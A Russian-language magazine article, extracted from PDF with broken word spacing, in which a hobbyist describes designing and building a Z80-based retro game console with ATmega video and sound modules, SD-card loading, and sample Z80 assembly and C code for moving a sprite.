робовать  соб рать  свою  собс твен ную  виде окон соль.  Работаю  я  инже нером
соф та, и ранее никако го опы та работы с элек тро никой у меня не было — если
не  счи тать  сбор ки  и  апгрей да моего  дес кто па  (что,  конеч но,  не  счи тает ся).
Но, нес мотря на отсутс твие опы та, я ска зал себе: «Почему нет?», купил нес‐ 
коль ко книг и ком плек тов элек тро ники — и начал учить ся.

Я  хотел  соб рать  кон соль,  похожую  на  те,  что  всег да  мне  нра вились,  —
что‐то сред нее меж ду   и    или меж ду 
и  . Все эти кон соли обла дали CPU, кас томным виде очи пом (тог да
он еще не называл ся GPU) и ауди очи пом — интегри рован ным или выделен‐ 
ным. Игры к ним рас простра нялись на кар трид жах, которые обыч но пред став‐ 
ляли  собой  аппа рат ные  рас ширения  с  чипом  ПЗУ  и  иног да  дру гими  ком‐ 
понен тами.

NES Super Nintendo Sega Master  System
Mega Drive

Мо им изна чаль ным пла ном было соб рать кон соль со сле дующи ми харак‐ 
терис тиками.

Ни какой эму ляции, все игры/прог раммы дол жны запус кать ся на реаль ном
железе  —  не  обя затель но  железе  «из  тех  вре мен»,  прос то  дос таточ но
шус тром для сво их задач.

•

Нас тоящий нос таль гичес кий «рет рочип» про цес сора.•
Вы вод на телеви зор (ана лого вый сиг нал).•
Спо соб ность про изво дить звук.•
Под дер жка двух кон трол леров.•
Прок рутка фона и дви жущи еся спрай ты.•
Под дер жка плат форме ров в сти ле «Марио» (и, конеч но, дру гих типов игр).•
Воз можность запус кать игры и прог раммы с кар ты SD.•

Я  решил  исполь зовать  под дер жку  SD‐карт  вмес то  кар трид жей,  потому  что
запус кать  игры  с  кар ты  нам ного  прак тичней  —  к  тому  же  на  нее  про ще
копиро вать фай лы с компь юте ра. Исполь зуй я кар трид жи, приш лось бы нак‐ 
рутить  куда  боль ше  железа  и  завес ти  отдель ное  железо  для  каж дой  прог‐ 
раммы.

СОБИРАЕМ КОНСОЛЬ
Ви деосиг нал
На чал  свою  работу  я  с  генера ции  виде осиг нала.  У  всех  кон солей  эпо хи,
на  которую  я  ори енти ровал ся,  были  свои  проп риетар ные  гра фичес кие
чипы  —  что  давало  им  очень  раз ные  харак терис тики.  По  этой  при чине  я
не  стал  исполь зовать  готовый  гра фичес кий  чип —  хотелось,  что бы  у  моей
кон соли  были  уни каль ные  воз можнос ти  гра фики.  Но,  пос коль ку  соб рать
собс твен ный  чип  я  бы  не  потянул,  а ПЛИС исполь зовать  не  умел,  я  выб рал
базиру ющий ся  на  соф те  гра фичес кий  чип  с  двад цатиме гагер цевым  вось‐ 
мибит ным мик рокон трол лером. Это не перебор: у него ров но такая про изво‐ 
дитель ность, что бы генери ровать нуж ный мне тип гра фики.

Итак,  я  начал  с  мик рокон трол лера  ATmega644,  работа юще го  на  час‐ 
тоте  20  МГц,  который  посылал  PAL‐сиг нал  на  телеви зор.  Пос коль ку  сам
по себе мик рокон трол лер этот фор мат не под держи вает, приш лось добавить
внеш ний ЦАП.

Наш  мик рокон трол лер  выда ет  вось мибит ную  цвет ность  (RGB332:  три  бита
на крас ный,  три бита на зеленый и два — на синий), а пас сивный ЦАП кон‐ 
верти рует  всю  эту  кра соту  в  ана лого вый  RGB.  По  счастью,  в  Пор тугалии
внеш ние  устрой ства  к  телеви зору  чаще  все го  под клю чают  через  разъ ем
SCART —  и  боль шая  часть  телеви зоров  при нима ет  RGB‐сиг нал  через  него
же.

Под ходящая гра фичес кая сис тема
Пос коль ку  пер вый  мик рокон трол лер  я  хотел  исполь зовать  исклю читель но
для  переда чи  сиг нала  на  телеви зор  (я  наз вал  его  VPU —  Video  Processing
Unit),  для  гра фики  в  целом  я  решил  исполь зовать  спо соб  двой ной  буфери‐ 
зации.

Я  взял  вто рой  мик рокон трол лер  для  PPU  (Picture  Processing  Unit)  —  AT‐
mega1284 тоже на 20 МГц. Он дол жен генери ровать изоб ражение на чип ОЗУ
(VRAM1), пос ле чего пер вый мик рокон трол лер передаст содер жимое дру гого
чипа  опе ратив ки  (VRAM2)  на  телеви зор.  Пос ле  каж дого  кад ра  (два  кад ра
в PAL или 1/25 секун ды) VPU перек люча ет чипы ОЗУ и переда ет изоб ражение
с VRAM1 на телеви зор, пока PPU генери рует новое на VRAM2.

Ви деоп лата  получи лась  доволь но  слож ной:  мне  приш лось  исполь зовать
допол нитель ное  железо,  что бы  дать  мик рокон трол лерам  дос туп  к  обо им
чипам ОЗУ, а так же уско рить дос туп к памяти, которая к тому же исполь зует ся
для вывода виде осиг нала методом бит бэнга. Для это го я добавил в цепоч ку
нес коль ко  чипов  74‐й  серии  в  качес тве  счет чиков,  линей ных  селек торов,
тран сиверов и про чего.

Про шив ка  для  VPU  и  осо бен но  для  PPU  тоже  выш ла  доволь но  слож ной,
пос коль ку мне  нуж но  было  написать  чрез вычай но  про изво дитель ный  код —
если я хотел получить все иско мые гра фичес кие воз можнос ти. Изна чаль но я
все писал на ассем бле ре, поз же кое‐что кодил на C.

В ито ге мой PPU генери ровал изоб ражение 224 × 192 пик селя, которое VPU
тран сли ровал на экран телеви зора. Раз решение может показать ся слиш ком
низ ким,  но  на  самом деле  оно  нем ногим мень ше,  чем  у  кон солей‐про тоти‐ 
пов —  они  обыч но  име ли  раз решение  256  ×  224.  Зато  более  низ кое  раз‐ 
решение поз волило мне втис нуть боль ше гра фичес ких фич в тот вре мен ной
отре зок, что ухо дил на отри сов ку каж дого кад ра.

Пря мо как в ста рые доб рые вре мена, у моего PPU есть «фик сирован ные»
гра фичес кие  воз можнос ти,  которые  мож но  нас тро ить.  Фон  рен дерит ся
из  сим волов  раз мером  8  ×  8  пик селей  (их  еще  иног да  называ ют  тай лами).
Это зна чит, что раз мер все го фона — 28 × 24 тай ла. Для попик сель ной прок‐ 
рутки и воз можнос ти плав ного обновле ния фона я сде лал четыре вир туаль‐ 
ных экра на 28 × 24 тай ла — все они смеж ные и «обте кают» друг дру га.

По верх  фона  PPU  рен дерит  до  64  спрай тов  шириной  и  высотой
от 8 до 16 пик селей (то есть один, два или четыре сим вола), которые мож но
повер нуть  по  вер тикали,  горизон тали  или  по  обе им  осям.  Еще  над  фоном
мож но отренде рить овер лей —  такую плаш ку раз мером 28 × 6  тай лов. Она
при годит ся для игр, где нуж ны эле мен ты интерфей са поверх основно го экра‐ 
на  (HUD),  фон  скрол лится,  а  спрай ты  исполь зуют ся  не  толь ко  для  подачи
информа ции, но и для дру гих целей.

Дру гая  «прод винутая»  фича —  воз можность  прок ручивать  фон  в  раз ных
нап равле ниях по отдель ным стро кам, что поз воля ет добавить эффекты типа
огра ничен ного   или раз делен ного экра на.па рал лакс‐скрол линга

Еще  есть  таб лица  атри буции,  которая  поз воля ет  задать  каж дому  тай лу
зна чение от 0 до 3. А даль ше мож но, нап ример, наз начить все тай лы с опре‐ 
делен ным зна чени ем на кон крет ную тай ловую стра ницу или уве личить номер
их сим вола. Это полез но, ког да кон крет ные эле мен ты фона пос тоян но меня‐ 
ются, — в таком слу чае CPU не нуж но обновлять каж дый тайл в отдель нос ти,
он  может  прос то  передать  коман ду  вро де  «все  тай лы  со  зна чени ем  1  уве‐ 
личи вают свое зна чение на 2». Раз ными спо соба ми этот под ход исполь зует‐ 
ся, нап ример, в играх с Марио, где на фоне дви гают ся зна ки воп роса, или в
дру гих играх с пос тоян но льющи мися водопа дами.

Про цес сор
Ког да  была  готова  фун кци ональ ная  виде опла та,  я  прис тупил  к  работе
над CPU — для  сво ей  кон соли  я  выб рал  .  Помимо  того  что  Z80 —
прос то  кру той  рет ропро цес сор,  у  него  есть  отдель но  16  бит  на  память
и 16 бит для I/O, чем дру гие подоб ные вось мибит ные про цес соры, нап ример
зна мени тый  , пох вастать ся не могут. У того же 6502 есть толь ко 16 бит
памяти,  а  зна чит,  эти  16  бит  при дет ся  делить  меж ду  собс твен но  памятью
и  допол нитель ными  устрой ства ми:  аудио,  видео,  вво да  и  про чими.  Если  же
у  нас  есть  отдель ный  учас ток  для  I/O,  то  он  возь мет  на  себя  все  внеш ние
устрой ства, а 16 бит памяти  (то есть 64 Кбайт кода или дан ных) мы смо жем
исполь зовать по пря мому наз начению.

Zilog Z80

6502

Для начала я соеди нил свой CPU с  , доб росив нем ного тес тового
кода.  Еще  я  прик рутил  к  CPU  через  учас ток  I/O  мик рокон трол лер,  который
свя зыва ется с ПК по  , — что бы про верить, нор маль но ли работа ет мой
про цес сор  и  все  осталь ные  соеди нения.  Этот  мик рокон трол лер  (двад‐ 
цатиме гагер цевый  ATmega324)  дол жен  был  стать  IO  MCU  (мик рокон трол‐ 
лером  вво да‐вывода)  и  отве чать  за  дос туп  к  игро вым  кон трол лерам,  кар те
SD, кла виату ре PS/2 и ком муника цию с ком пом через RS‐232.

EEPROM

RS‐232

По том я прик рутил к про цес сору чип ОЗУ на 128 Кбайт, из которых были дос‐ 
тупны 56 (это может показать ся пус той тра той ресур са, но у меня были чипы
ОЗУ  толь ко  по  128  и  по  32  Кбайт).  Таким обра зом,  вся  память  про цес сора
сос тоит из 8 Кбайт ПЗУ и 56 Кбайт ОЗУ.

Сле дом  я  обно вил  про шив ку  сво его  мик рокон трол лера  вво да‐вывода
с помощью   и добавил ему под дер жку карт SD. Теперь CPU
научил ся переме щать ся по дирек тори ям SD‐кар ты, прос матри вать их содер‐ 
жимое,  откры вать  и  читать  фай лы —  счи тывая  и  записы вая  дан ные  на  кон‐ 
крет ные адре са учас тка вво да‐вывода.

этой биб лиоте ки

Со еди няем CPU и PPU
Приш ло вре мя реали зовать вза имо дей ствие меж ду CPU и PPU. Для это го я
нашел  «прос тое  решение»  —  чип  ОЗУ  с  двой ным  пор том  (то  есть  тот,
который мож но одновре мен но под клю чить по двум раз ным шинам). Он спас
меня от нак ручива ния новых мик росхем типа линей ных селек торов — и к тому
же  сде лал  дос туп  к  опе ратив ной  памяти  для  обо их  чипов  прак тичес ки
одновре мен ным. Так же PPU свя зыва ется с CPU нап рямую каж дый кадр, акти‐ 
вируя  его  немас киру емое  пре рыва ние  ( ).  Это  зна чит,  что  каж дый  кадр
про цес сор  пре рыва ется  (цен ное  уме ние  для  син хро низа ции  и  сво евре мен‐ 
ного обновле ния гра фики).

NMI

Каж дый кадр вза имо дей ствие меж ду CPU, PPU и VPU раз вива ется по сле‐ 
дующе му сце нарию.

PPU копиру ет информа цию с внеш него ОЗУ (на рисун ке ниже обоз начено
как PPU RAM) на встро енное ОЗУ.

•

PPU посыла ет CPU сиг нал немас киру емо го пре рыва ния.•
Од новре мен но с этим:•

CPU немед ленно обра щает ся  к фун кции немас киру емо го пре рыва ния
и  обновля ет  в  PPU  RAM  информа цию  о  сос тоянии  гра фики  в  сле‐ 
дующем  кад ре  (прог рамма  дол жна  вый ти  из  пре рыва ния  до  его
начала);

•

PPU  рен дерит  изоб ражение,  осно выва ясь  на  информа ции,  которую
перед  этим  ско пиро вал  в  один  из  двух  ОЗУ  гра фичес кой  сис темы
(VRAM1 или VRAM2);

•

VPU посыла ет изоб ражение с дру гого VRAM на телеви зор.•

При мер но в то же вре мя я добавил под дер жку игро вых кон трол леров. Изна‐ 
чаль но я хотел исполь зовать кон трол леры Super Nintendo, но их разъ ем проп‐ 
риетар ный — и дос тать его неп росто. Поэто му я выб рал сов мести мые шес‐ 
тикно поч ные кон трол леры Mega Drive/Genesis: они исполь зуют стан дар тные,
рас простра нен ные и дос тупные разъ емы  .DB‐9

Вре мя для пер вой нас тоящей игры
У  меня  был  про цес сор  с  под дер жкой  игро вых  кон трол леров,  который  мог
управлять  PPU  и  заг ружать  прог раммы  с  SD‐кар ты,  так  что…  приш ло  вре мя
сде лать игру. Я написал ее, конеч но, на язы ке ассем бле ра Z80 — это заняло
у меня пару дней ( ).ис ходный код игры
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До бав ляем кас томную гра фику
Все  отлично,  у  меня  есть  рабочая  кон соль,  но…  это го  недос таточ но.  Игры
пока  не  могут  исполь зовать  кас томную  гра фику  —  толь ко  ту,  что  хра нит ся
в  про шив ке  PPU.  А  единс твен ный  спо соб  поменять  встро енную  гра фику —
обно вить  про шив ку.  Поэто му  я  решил  добавить  отдель ный  чип  ОЗУ  с  гра‐ 
фикой  (сим воль ное  ОЗУ,  Character  RAM) —  он  дол жен  быть  дос тупен  PPU
и  заг ружать  гра фику  сог ласно  инс трук циям,  при шед шим  из  CPU.  При  этом
нуж но было исполь зовать как мож но мень ше новых ком понен тов, потому что
кон соль уже получи лась доволь но боль шой и слож ной.

Я  нашел  сле дующий  выход:  дос туп  к  новому  ОЗУ  будет  толь ко  у  PPU,
а  CPU  ста нет  переда вать  ему  информа цию  через  PPU.  И  пока  эти  дан ные
переда ются,  наше  новое ОЗУ  не  будет  исполь зовать ся  для  гра фики —  его
фун кции вре мен но возь мет на себя встро енная гра фика.

Пос ле переда чи дан ных про цес сор перек лючит ся из режима встро енной
гра фики в режим работы с сим воль ным ОЗУ (CHR RAM на схе ме ниже), и PPU
смо жет  исполь зовать  кас томную  гра фику.  Воз можно,  это  не  иде аль ное
решение, но оно работа ет. В ито ге новое ОЗУ име ло объ ем 128 Кбайт и мог‐ 
ло хра нить 1024 сим вола раз мером 8 × 8 пик селей для фона и 1024 сим вола
того же раз мера для спрай тов.

И наконец, звук
Ре али зацию  зву ка  я  оста вил  на финал. Изна чаль но  я  собирал ся  дать  сво ей
кон соли те же зву ковые воз можнос ти, что у  , и встро ить мик рокон трол‐ 
лер,  который генери ровал бы четыре канала  ‐зву ка. Одна ко я выяс нил,
что мож но отно ситель но лег ко дос тать вин тажные чипы, — и заказал нес коль‐ 
ко  чипов  YM3438,  работа ющих  на  прин ципе 

. Они пол ностью сов мести мы с  , которые уста нов лены в Mega Dri‐
ve/Genesis. Уста новив этот чип, я получаю музыку качес тва Mega Drive и зву‐ 
ковые  эффекты,  которые  про изво дит  кон трол лер.  CPU  управля ет  зву ковым
модулем  (я  наз вал  его  SPU,  Sound  Processor  Unit,  —  он  отда ет  коман ды
YM3438 и сам про изво дит зву ки) сно ва через малень кое ОЗУ с двой ным пор‐ 
том, на сей раз емкостью все го в 2 Кбайт.

Uzebox
PWM

час тотно‐модуля цион ного  син‐ 
теза YM2612

Так же как у гра фичес кого, у зву ково го модуля есть 128 Кбайт на хра нение
зву ковых пат чей и сем плов  . Про цес сор же выг ружа ет информа цию в эту
память через SPU. Таким обра зом, про цес сор может как велеть SPU вос про‐ 
изво дить  коман ды  из  это го ОЗУ,  так  и  обновлять  коман ды  для  SPU  каж дый
кадр.

PCM

CPU управля ет четырь мя PWM‐канала ми через четыре коль цевых буфера,
которые есть  в  спе циаль ном ОЗУ  (SPU RAM на  схе ме  ниже).  SPU про ходит
через эти буферы и выпол няет име ющиеся в них коман ды. Таким же обра зом
работа ет еще один коль цевой буфер в SPU RAM — он обслу жива ет чип час‐ 
тотно‐модуля цион ного син теза (YM3438).

Вза имо дей ствие  меж ду  про цес сором  и  зву ковым  модулем  похоже
на исто рию с гра фикой — и устро ено по сле дующей схе ме.

SPU копиру ет информа цию из SPU RAM во встро енную опе ратив ку.•
SPU ждет сиг нала NMI от PPU (для син хро низа ции).•
Од новре мен но с этим:•

про цес сор  обновля ет  буферы  PWM‐каналов  и  чипа  час тотно‐модуля‐ 
цион ного син теза;

•

SPU  выпол няет  коман ды  в  буферах  сог ласно  информа ции,  сох ранен‐ 
ной во встро енной памяти.

•

По ка  все  это  про исхо дит,  SPU  неп рерыв но  обновля ет  PWM‐звук  с  час‐ 
тотой 16 кГц.

•

КОНЕЧНЫЙ РЕЗУЛЬТАТ
Пос ле  раз работ ки  всех модулей  я  помес тил  некото рые  из  них  на макет ные
пла ты.  Для  модуля  CPU  я  сумел  при думать  и  заказать  кас томную  пла ту.
Не  знаю,  буду  ли  делать  то  же  самое  для  дру гих  модулей, —  полагаю,  мне
доволь но силь но повез ло получить рабочую кас томную пла ту с пер вой попыт‐ 
ки. Толь ко зву ковой модуль пока что оста ется в виде макета.

Вот как выг лядит кон соль на момент написа ния это го тек ста.

Ар хитек тура
Схе ма ниже иллюс три рует,  какие  ком понен ты  вхо дят  в  каж дый модуль и  как
они  вза имо дей ству ют  друг  с  дру гом.  Единс твен ное,  что  не  показа но,  —
это  сиг нал  в  фор ме  NMI,  который  PPU  переда ет  непос редс твен но  про цес‐ 
сору каж дый кадр, а так же ана логич ный сиг нал, переда ваемый SPU.

: Zilog Z80, работа ющий на час тоте 10 МГц.• CPU

: EEPROM на 8 Кбайт, содер жит код заг рузчи ка.• CPU-ROM

:  128  Кбайт  опе ратив ной  памяти  (из  них  исполь зуют‐ 
ся 56 Кбайт), содер жит код и дан ные для прог рамм/игр.

• CPU-RAM

: ATmega324, слу жит интерфей сом меж ду CPU и RS‐232, кла виату‐ 
рой PS/2, игро выми кон трол лерами и фай ловой сис темой SD‐кар ты.

• IO MCU

:  двух порто вое ОЗУ на 4 Кбайт,  это интерфей сное ОЗУ меж ду
CPU и PPU.

• PPU-RAM

:  128  Кбайт  опе ратив ки,  содер жит  кас томные  тай лы  фона
и спрай товую гра фику (8 × 8 пик селей каж дый сим вол).

• CHRRAM

: 128 Кбайт опе ратив ки (исполь зуют ся 43 008 байт), слу‐ 
жат для хра нения кад рового буфера; информа цию в них записы вает PPU,
а счи тыва ет — VPU.

• VRAM1, VRAM2

:  ATmega1284,  отри совы вает  кадр
и отправ ляет его в кад ровый буфер.

• PPU  (Picture  Processing  Unit)

:  ATmega324,  счи тыва ет  кад ровый  буфер
и генери рует RGB и PAL‐сиг нал.

• VPU  (Video  Processing  Unit)

:  двух порто вое  ОЗУ  на  2  Кбайт,  слу жит  интерфей сом  меж ду
CPU и SPU.

• SPU-RAM

:  128  Кбайт  опе ратив ки,  содер жит  пат чи  PWM,  сем плы  PCM
и бло ки инс трук ций для час тотно‐модуля цион ного син теза.

• SNDRAM

: одно имен ный чип час тотно‐модуля цион ного син теза.• YM3438

:  ATmega644,  генери рует  звук  на  базе
PWM и управля ет YM3438.

• SPU  (Sound  Processing  Unit)

Ито говые харак терис тики
Про цес сор:

вось мибит ный CPU Zilog Z80 с час тотой 10 МГц;•
8 Кбайт пос тоян ной памяти для заг рузчи ка;•
56 Кбайт опе ратив ной памяти.•

Ввод/вывод (I/O):

чте ние дан ных с SD‐карт фай ловых сис тем FAT16/FAT32;•
чте ние и запись на порт RS‐232;•
два игро вых кон трол лера, сов мести мых с Mega Drive/Genesis;•
кла виату ра PS/2.•

Ви део:

раз решение 224 × 192 пик селя;•
25 кад ров в секун ду;•
256 цве тов (схе ма RGB332);•
вир туаль ное фоновое прос транс тво 2 ×  2  (448 ×  384  пик селя)  с  дву нап‐ 
равлен ной попик сель ной прок руткой, которое опи сыва ют четыре имен ные
таб лицы;

•

64  спрай та  высотой  и шириной 8  или  16  пик селей  с  воз можностью раз‐ 
вернуть их как по вер тикали, так и по горизон тали;

•

фон и спрай ты, сос тоящие из сим волов 8 × 8 пик селей каж дый;•
сим воль ное ОЗУ с 1024 фоновы ми и 1024 спрай товыми сим волами;•
не зави симая  горизон таль ная  прок рутка  фона  по  кас томным  стро кам
на 64;

•

не зави симая вер тикаль ная прок рутка фона по кас томным стро кам на 8;•
на ложе ние плаш ки раз мером 224 × 48 пик селей с проз рачностью или без
нее;

•

таб лица атри буции для фона;•
RGB и ком позит ный PAL‐вывод через разъ ем SCART.•

Звук:

ге нери руемый  с  помощью  PWM  вось мибит ный  четырех каналь ный  звук
с заранее задан ными   (меандр, синусо ида, пило образная,
шумовая и так далее);

•
фор мами вол ны

вось мибит ные и  вось микило гер цевые сем плы PCM на одном из  каналов
PWM;

•

чип час тотно‐модуля цион ного син теза YM3438 с обновля емы ми инс трук‐ 
циями на час тоте 50 Гц.

•

РАЗРАБОТКА СОФТА ДЛЯ КОНСОЛИ
Пер вый кусок соф та, написан ный для кон соли, — это заг рузчик. Он хра нит ся
в пос тоян ной памяти про цес сора и занима ет до 8 Кбайт. Он же исполь зует
пер вые 256 байт опе ратив ки про цес сора. Заг рузчик — пер вый софт, запус‐ 
каемый на про цес соре. Его цель — показать прог раммы, дос тупные на SD‐
кар те. Эти прог раммы хра нят ся в фай лах, которые содер жат ском пилиро ван‐ 
ный код и могут так же содер жать дан ные кас томной гра фики и зву ка.

Пос ле выбора прог раммы она заг ружа ется в опе ратив ку про цес сора, сим‐ 
воль ное  ОЗУ  и  ОЗУ  зву ково го  модуля.  Там  соот ветс тву ющая  прог рамма
выпол няет ся.  Код  прог рамм,  заг ружа емых  на  кон соль,  может  занимать
до 56 Кбайт памяти — за исклю чени ем пер вых 256 байт; так же, конеч но, нуж‐ 
но учи тывать объ ем сте ка и оставлять мес то для дан ных.

И  заг рузчик,  и  прог раммы  для  этой  кон соли  раз рабаты вают ся  похожим
обра зом. Корот ко пояс ню, как я их сде лал.

Мап пинг памяти и вво да‑вывода
При  раз работ ке  для  кон соли  сле дует  обра тить  осо бое  вни мание  на  то,
как  CPU  может  получить  дос туп  к  дру гим  модулям,  поэто му  пред став ление
памяти и вво да‐вывода име ет реша ющее зна чение.

Про цес сор обра щает ся к сво ему заг рузчи ку на ПЗУ и ОЗУ через память.
Пред став ление памяти выг лядит так.

К PPU‐RAM и SPU‐RAM, а так же к IO MCU он обра щает ся через учас ток вво‐ 
да‐вывода. Пред став ление учас тка вво да‐вывода про цес сора будет таким.

Внут ри пред став ления учас тка вво да‐вывода IO MCU, PPU и SPU име ют свои
кон крет ные адре са.

УПРАВЛЕНИЕ PPU
Мы можем  управлять PPU с  помощью записи на PPU‐RAM, а дос туп  к PPU‐
RAM,  как  мы  зна ем  из  таб лицы  выше,  орга низо ван  через  учас ток  вво‐ 
да‐вывода с адре сов от   до  .1000h 1FFFh

Вот как выг лядит этот диапа зон адре сов, если пред ста вить его более под‐ 
робно.

Сос тояние PPU (PPU Status) может при нимать сле дующие зна чения: 
0 — режим встро енной гра фики; 
1 — режим кас томной гра фики; 
2 — режим записи в сим воль ное ОЗУ; 
4 — запись закон чена, ожи дание под твержде ния от CPU.

А вот при мер того, как мож но работать со спрай тами. Кон соль может рен‐ 
дерить до 64 спрай тов одновре мен но. Информа ция об этих спрай тах переда‐ 
ется  через  адре са  с    по    (320  байт),  по  5  байт  информа ции
на каж дый спрайт (5 × 64 = 320 байт):

1004h 1143h

1. Сме шан ный  байт  (каж дый  его  бит  —  это  флаг:  ,  ,
,  ,  ,  , 

и  ).

Active Flipped_X

Flipped_Y PageBit0 PageBit1 AboveOverlay Width16

Height16

2. Сим воль ный байт (какой сим вол явля ется спрай том на стра нице, опи сан‐ 
ной соот ветс тву ющи ми фла гами сме шан ного бай та).

3. Байт хро макея (опи сыва ет, какой цвет будет проз рачным).
4. Байт позиции по горизон тали (оси X).
5. Байт позиции по вер тикали (оси Y).

Итак,  что бы  сде лать  спрайт  видимым,  мы  дол жны  прис воить  фла гу 
зна чение 1, а так же уста новить коор динаты, при которых он ста нет видимым
(коор динаты   и   раз местят спрайт в левый вер хний угол экра на;
если зна чения   и    будут мень ше,  то  спрайт  ока жет ся  за  пре дела ми  экра‐ 
на  —  час тично  или  пол ностью).  Затем  мы  можем  прис воить  ему  сим вол
и опре делить, какой цвет спрай та будет проз рачным.

Active

x = 32 y = 32
x y

Нап ример,  если мы  хотим  сде лать  видимым десятый  спрайт, мы дол жны
прис воить адре су вво да‐вывода 4145 ( ) зна чение 1. Затем
уста нав лива ем коор динаты спрай та — ска жем,   и  , — прис‐ 
воив адре су 4148 зна чение 100, а адре су 4149 — зна чение 120.

1004h + (5 x 9)
x = 100 y = 120

Ко дим на ассем бле ре
Один из спо собов написать прог рамму для нашей кон соли — исполь зовать
язык ассем бле ра.

Ни же  —  при мер  кода,  который  зас тавля ет  пер вый  спрайт  дви гать ся
и стал кивать ся с угла ми экра на:

ORG 2100h

PPU_SPRITES: EQU $1004
SPRITE_CHR: EQU 72
SPRITE_COLORKEY: EQU $1F
SPRITE_INIT_POS_X: EQU 140
SPRITE_INIT_POS_Y: EQU 124

jp main

DS $2166‐$
nmi:
   ld bc, PPU_SPRITES + 3
   ld a, (sprite_dir)
   and a, 1
   jr z, subX
   in a, (c) ; increment X
   inc a
   out (c), a
   cp 248
   jr nz, updateY
   ld a, (sprite_dir)
   xor a, 1
   ld (sprite_dir), a
   jp updateY
subX:
   in a, (c) ; decrement X
   dec a
   out (c), a
   cp 32
   jr nz, updateY    
   ld a, (sprite_dir)
   xor a, 1
   ld (sprite_dir), a
updateY:
   inc bc
   ld a, (sprite_dir)
   and a, 2
   jr z, subY
   in a, (c) ; increment Y
   inc a
   out (c), a
   cp 216
   jr nz, moveEnd
   ld a, (sprite_dir)
   xor a, 2
   ld (sprite_dir), a
   jp moveEnd
subY:
   in a, (c) ; decrement Y
   dec a
   out (c), a
   cp 32
   jr nz, moveEnd
   ld a, (sprite_dir)
   xor a, 2
   ld (sprite_dir), a
moveEnd:
   ret

main:
   ld bc, PPU_SPRITES
   ld a, 1
   out (c), a  ; Set Sprite 0 as active
   inc bc
   ld a, SPRITE_CHR
   out (c), a  ; Set Sprite 0 character
   inc bc
   ld a, SPRITE_COLORKEY
   out (c), a  ; Set Sprite 0 colorkey
   inc bc
   ld a, SPRITE_INIT_POS_X
   out (c), a  ; Set Sprite 0 position X
   inc bc
   ld a, SPRITE_INIT_POS_Y
   out (c), a  ; Set Sprite 0 position Y
mainLoop:    
   jp mainLoop

sprite_dir:     DB 0

Продолжение статьи →

http://belogic.com/uzebox/
https://en.wikipedia.org/wiki/Pulse-width_modulation
https://en.wikipedia.org/wiki/Frequency_modulation_synthesis
https://en.wikipedia.org/wiki/Yamaha_YM2612
https://en.wikipedia.org/wiki/Pulse-code_modulation
https://en.wikipedia.org/wiki/Waveform


ДЕЛАЕМ ИГРОВУЮ
ПРИСТАВКУ

КАК Я СОБРАЛ РЕТРОКОНСОЛЬ В ДОМАШНИХ
УСЛОВИЯХ

GEEK  НАЧАЛО СТАТЬИ←

Ис поль зуем инс тру мен ты C
Еще мож но писать прог раммы для кон соли на C, исполь зуя ком пилятор 
или дру гие кас томные инс тру мен ты. Раз работ ка так идет быс трее, хотя про‐ 
изво дитель ность кода, конеч но, пада ет.

SDCC

В  качес тве  при мера  покажу  код  на  С,  который  выпол няет  ту  же  самую
задачу, что и при веден ный выше ассем блер ный. Что бы облегчить обра щение
к PPU, я здесь исполь зовал биб лиоте ку.

#include <console.h>

#define SPRITE_CHR 72
#define SPRITE_COLORKEY 0x1F
#define SPRITE_INIT_POS_X 140
#define SPRITE_INIT_POS_Y 124

struct s_sprite sprite = { 1, SPRITE_CHR, SPRITE_COLORKEY, SPRITE
_INIT_POS_X, SPRITE_INIT_POS_Y };
uint8_t sprite_dir = 0;

void nmi() {
   if (sprite_dir & 1)
   {
       sprite.x++;
       if (sprite.x == 248)
       {
           sprite_dir ^= 1;
       }
   }
   else
   {
       sprite.x‐‐;
       if (sprite.x == 32)
       {
           sprite_dir ^= 1;
       }
   }

   if (sprite_dir & 2)
   {
       sprite.y++;
       if (sprite.y == 216)
       {
           sprite_dir ^= 2;
       }
   }
   else
   {
       sprite.y‐‐;
       if (sprite.x == 32)
       {
           sprite_dir ^= 2;
       }
   }

   set_sprite(0, sprite);
}

void main() {
   while(1) {
   }
}

Кас томная гра фика
У  кон соли  есть  встро енная  и  пред назна чен ная  толь ко  для  чте ния  гра фика,
которая  хра нит ся  в  про шив ке  PPU  (одна  стра ница  тай лов  для  фона  и  одна
стра ница гра фики для спрай тов). Одна ко для прог рамм мож но исполь зовать
и кас томную гра фику.

Цель в том, что бы перевес ти всю необ ходимую гра фику в дво ичную фор‐ 
му — в таком виде заг рузчик кон соли смо жет гру зить ее в сим воль ное ОЗУ.
Что бы это го добить ся,  я  начал  с  нес коль ких  изоб ражений  уже нуж ного раз‐ 
мера —  в  дан ном  слу чае  они  пред назна чены  для  фона  сра зу  в  нес коль ких
игро вых ситу ациях.

Пос коль ку  кас томная  гра фика сос тоит из  четырех стра ниц по 256 сим волов
раз мером 8 × 8 пик селей для фона и четырех таких же стра ниц для спрай тов,
я пре обра зовал гра фику с кар тинки выше в файл PNG для каж дой стра ницы,
исполь зуя спе циаль ный инс тру мент (за исклю чени ем пов торя ющих ся резуль‐ 
тиру ющих сим волов).

А  сле дом  я  исполь зовал  еще  один  инс тру мент,  что бы  скон верти ровать
резуль тат в бинар ник с сим волами 8 × 8 пик селей в цве товой схе ме RGB332.

В резуль тате получа ются дво ичные фай лы, сос тоящие из сим волов 8 × 8 пик‐ 
селей (сим волы в памяти явля ются смеж ными, каж дый занима ет 64 бай та).

Звук
Об разцы  зву ковых  волн  кон верти руем  в  вось мибит ные  и  вось микило гер‐ 
цевые  сем плы  PCM.  Пат чи  зву ковых  эффектов  и  музыки  PWM  мож но  сос‐ 
тавить,  исполь зуя  заранее опре делен ные инс трук ции.  Что  каса ется  яма хов‐ 
ско го  чипа  час тотно‐модуля цион ного  син теза  YM3438,  то  для  него  я  нашел
при ложе ние  .  С  помощью DefleMask  дела ют  син хро низи рован ную
с  PAL  музыку  для  зву ково го  чипа  YM2612  от  Genesis,  который  сов местим
с нашим YM3438.

DefleMask

DefleMask кон верти рует музыку в фор мат VGM, а даль ше я уже исполь зую
дру гой спе циаль ный инс тру мент, что бы прев ратить VGM в самопаль ный зву‐ 
ковой бинар ник.

Би нар ники со все ми тре мя видами зву ков объ еди няют ся в один дво ичный
файл,  который  заг рузчик  потом  смо жет  заг рузить  в  ОЗУ  зву ково го  модуля
(SNDRAM).

Со берем все вмес те
Прог рам мный бинар ник,  гра фику и  звук нуж но соеди нить в один файл фор‐ 
мата  PRG.  В фай ле  PRG  есть  заголо вок,  который  сооб щает,  исполь зует  ли
прог рамма  кас томную  гра фику  и/или  звук  и  каков  раз мер  каж дого  из  этих
ком понен тов.  Там  же  содер жится  вся  про чая  соот ветс тву ющая  дво ичная
информа ция.

